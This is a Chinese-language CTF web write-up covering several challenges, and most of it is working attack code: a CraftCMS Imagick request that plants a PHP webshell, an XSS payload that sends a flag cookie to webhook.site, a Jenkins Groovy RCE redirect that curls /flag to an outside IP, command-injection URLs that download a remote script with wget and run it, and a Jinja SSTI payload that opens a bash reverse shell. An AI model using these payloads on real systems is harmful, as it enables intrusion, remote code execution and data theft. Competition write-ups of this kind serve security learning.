ak 的队伍不少,意味着 Web 方向的题目中规中矩

craftcms

感觉是网站根目录没有写权限导致的,换一个目录写,然后文件包含

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
POST http://61.147.171.105:50610/ HTTP/1.1
Host: 61.147.171.105:49757
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.5304.88 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close
Content-Length: 767
Content-Type: multipart/form-data; boundary=40226d1ab58079c727ec470ae0983832

--40226d1ab58079c727ec470ae0983832
Content-Disposition: form-data; name="action"

conditions/render
--40226d1ab58079c727ec470ae0983832
Content-Disposition: form-data; name="configObject[class]"

craft\elements\conditions\ElementCondition
--40226d1ab58079c727ec470ae0983832
Content-Disposition: form-data; name="config"

{"name":"configObject","as ":{"class":"Imagick", "__construct()":{"files":"vid:msl:/tmp/php*"}}}
--40226d1ab58079c727ec470ae0983832
Content-Disposition: form-data; name="image1"; filename="pwn1.msl"
Content-Type: text/plain

<?xml version="1.0" encoding="UTF-8"?>
<image>
<read filename="caption:&lt;?php system($_REQUEST['cmd']); ?&gt;"/>
<write filename="info:/tmp/shell.php">
</image>
--40226d1ab58079c727ec470ae0983832--

1
2
3
4
5
6
7
8
9
10
11
12
13
POST http://61.147.171.105:50610/?cmd=/readflag HTTP/1.1
Host: 61.147.171.105:49757
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.5195.102 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 201

action=conditions/render&configObject=craft\elements\conditions\ElementCondition&config={"name":"configObject","as ":{"class":"\\yii\\rbac\\PhpManager","__construct()":[{"itemFile":"/tmp/shell.php"}]}}

easy latex

这题有三血,还得是因为打国际赛 xss 题积累下的经验

http://127.0.0.1:3000/share/..%2fpreview%3ftheme=http:%2f%2fvps:port

这样子可以 xss bot,无 csp 限制

外带 flag,只需要设置 username=http://vps:ip/ 从 vip 路由把 flag cookie fetch 出去即可

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
fetch("/login", {
method: "POST",
credentials: "include",
redirect: "follow",
headers: {
"Content-Type": "application/x-www-form-urlencoded",
},
body: "username=http://webhook.site/7b08b07b-e9e2-4164-b889-5cc9b939aa15/&password=bf1380a6c9b6b8834c1726b2db60aa1f",
});

function leak() {
fetch("/vip", {
method: "POST",
credentials: "include",
});
}
setTimeout(leak, 1000);

hooks

参考链接

https://github.com/orangetw/awesome-jenkins-rce-2019
https://www.cidersecurity.io/blog/research/how-we-abused-repository-webhooks-to-access-internal-ci-systems-at-scale/

他只是过滤了 bash 之类的关键字而已,换一个方式带 flag 出去

1
2
<?php
header("Location: http://124.70.33.170:8088/?redirect_url=http%3A%2F%2Fjenkins%3A8080%2FsecurityRealm%2Fuser%2Fadmin%2FdescriptorByName%2Forg%2Ejenkinsci%2Eplugins%2Escriptsecurity%2Esandbox%2Egroovy%2ESecureGroovyScript%2FcheckScript%3Fvalue%3Dpublic%2520class%2520x%257B%250A%2509public%2520x%2528%2529%257B%250A%2509%2509%2522curl%25208%252E134%252E216%252E221%253A1234%2520%252DX%2520POST%2520%252DF%2520xx%253D%2540%252Fflag%2522%252Eexecute%2528%2529%250A%2509%257D%250A%257D");

MyGO’s Live!!!!!

看到别人搞出了 flag 文件名

那就可以直接读 http://124.70.33.170:24000/checker?url=-i%09/flag-07349212197f72ae

但是会一直被别人上车

~Ave Mujica’s Masquerade~

https://wh0.github.io/2021/10/28/shell-quote-rce-exploiting.html

命令注入

1
2
3
4
http://124.70.33.170:24001/checker?url=1:`:`wget$IFS$9http://8.134.216.221:1234/1.sh$IFS$9-O$IFS$9/tmp/1.sh``:%23
http://124.70.33.170:24001/checker?url=1:`:`chmod$IFS$9%2bx$IFS$9/tmp/1.sh``:%23
http://124.70.33.170:24001/checker?url=1:`:`/tmp/1.sh``:%23
http://124.70.33.170:24001/checker?url=1:`:`curl$IFS$9http://webhook.site/7b08b07b-e9e2-4164-b889-5cc9b939aa15/$IFS$9-X$IFS$9POST$IFS$9-F$IFS$9xx=@/tmp/flag``:%23

story

Exp 如下,随机数种子是按着时间戳 ➕1-100 来的,所以可以爆破一下
先获取 vip 的 token,然后去 ssti

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
import random, time, requests, base64, json, time
from utils.captcha import Captcha, generate_code

url = "http://124.70.33.170:23001/"

# url = "http://127.0.0.1:15000/"

while False:
session = requests.Session()

headers = {
"Content-Type": "application/json"
}
proxies = {
# "http":"127.0.0.1:8080"
}

start = int(time.time())
r = session.get(url+"captcha",proxies=proxies)
# print(r.headers)
tmp_sess = r.headers["Set-Cookie"]

data = (tmp_sess[len("session="):tmp_sess.find(";")]).split('.')[0]

captcha = json.loads(base64.b64decode(data).decode())["captcha"]
print(captcha)

data = {
"username":"tel",
"password":"tel",
"captcha":captcha
}
session.post(url+"login",data=json.dumps(data),headers=headers,proxies=proxies)

for i in range(1,100):
seed = start+i
random.seed(seed)
if generate_code(1) == captcha[0]:
if captcha[0] + generate_code(3) != captcha:
continue
random.seed(seed)
# print(generate_code(4))

gen = Captcha(200, 80)

buf , captcha_text = gen.generate()
# print(captcha_text)
# test()
data = {
"captcha": generate_code(4)
}
r = session.post(url+"vip",data=json.dumps(data),headers=headers,proxies=proxies)
# print(r.headers)
if "Set-Cookie" in r.headers:
print(r.headers)
print("success")
new_sess = r.headers["Set-Cookie"]
print(new_sess)
exit()
break

headers = {
"Content-Type": "application/json",
"Cookie": "session=eyJjYXB0Y2hhIjoiVjJCbyIsInVzZXJuYW1lIjoidGVsIiwidmlwIjp0cnVlfQ.ZT4R4Q.P_iiTAQCY96NF9eE7pBf6tcml1Y;"
}
data = {
"story":'{{url_for["_""_glo""bals_""_"]["_""_g""etitem_""_"]("o""s")["p""open"]("bash -c \'bash -i >& /dev/tcp/8.134.216.221/1234 0>&1\'")["re""ad"]()}}'
}
while True:
r = requests.post(url+"write",headers=headers,data=json.dumps(data))
print(r.text)
if "error" not in r.text:
print(r.headers)
tmp_sess = r.headers["Set-Cookie"]
data = tmp_sess[:tmp_sess.find(";")]
headers["Cookie"] = data
r = requests.get(url+"story",headers=headers)
print(r.text)
exit()